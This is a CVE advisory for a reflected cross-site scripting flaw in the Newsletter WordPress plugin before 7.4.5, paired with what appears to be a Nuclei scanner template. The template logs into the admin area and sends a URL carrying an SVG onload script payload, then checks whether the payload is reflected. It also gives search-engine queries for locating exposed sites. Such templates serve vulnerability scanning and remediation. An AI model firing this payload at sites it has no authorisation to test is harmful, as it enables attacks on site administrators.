The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
PoC
id: CVE-2022-1756
info:
name: Newsletter < 7.4.5 - Cross-Site Scripting
author: Harsh
severity: medium
description: |
The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
impact: |
Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: Fixed in version 7.4.5
reference:
- https://wpscan.com/vulnerability/6ad407fe-db2b-41fb-834b-dd8c4f62b072
- https://nvd.nist.gov/vuln/detail/CVE-2022-1756
- https://wordpress.org/plugins/newsletter/
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1756
cwe-id: CWE-79
epss-score: 0.01941
epss-percentile: 0.7911
cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: thenewsletterplugin
product: newsletter
framework: wordpress
shodan-query: http.html:/wp-content/plugins/newsletter/
fofa-query: body=/wp-content/plugins/newsletter/
publicwww-query: "/wp-content/plugins/newsletter/"
tags: cve,cve2022,wpscan,newsletter,xss,authenticated,thenewsletterplugin,wordpress,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")'
condition: and
# digest: 490a0046304402207a2779a21660dd647e82b0078f8028e2707acec0f5ee9ea9a1cdd9dd74c9c2d5022049e9c51afc53d3be854c0ebd9d4f33394c6d3b398dc246f46654c5adf629c09d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.